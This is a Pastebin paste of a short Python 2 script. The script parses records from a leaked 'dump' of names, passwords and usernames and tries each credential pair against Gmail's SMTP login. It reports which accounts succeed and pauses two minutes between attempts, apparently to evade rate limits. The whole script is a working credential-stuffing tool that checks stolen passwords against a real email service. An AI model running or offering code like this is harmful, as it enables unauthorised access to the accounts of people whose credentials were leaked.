Guest User

Untitled

a guest
Oct 24th, 2017
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.73 KB | None | 0 0
  1. #!usr/bin/python
  2.  
  3.  
  4. """ Released into the public domain, by Legoktm, 2011"""
  5.  
  6. import smtplib, time
  7.  
  8.  
  9. masterdict=[]
  10. input = """data from the dump"""
  11. list=input.split('\n')
  12. for set in list:
  13. b=set.split(', ')
  14. masterdict.append({'last':b[0].split('[*] ')[1],'first':b[1],'msg':b[2], 'username':b[4], 'pass':b[3]})
  15.  
  16.  
  17. def test(dict):
  18. username = dict['username']
  19. password = dict['pass']
  20. server = smtplib.SMTP('smtp.gmail.com:587')
  21. server.starttls()
  22. try:
  23. server.login(username,password)
  24. server.quit()
  25. print 'Success on %s!' %username
  26. except smtplib.SMTPAuthenticationError, e:
  27. print 'Failed on %s.' %username
  28. print e
  29. print 'Sleeping for 2 minutes'
  30. time.sleep(120)
  31.  
  32.  
  33. for user in masterdict:
  34. test(user)
Add Comment
Please, Sign In to add comment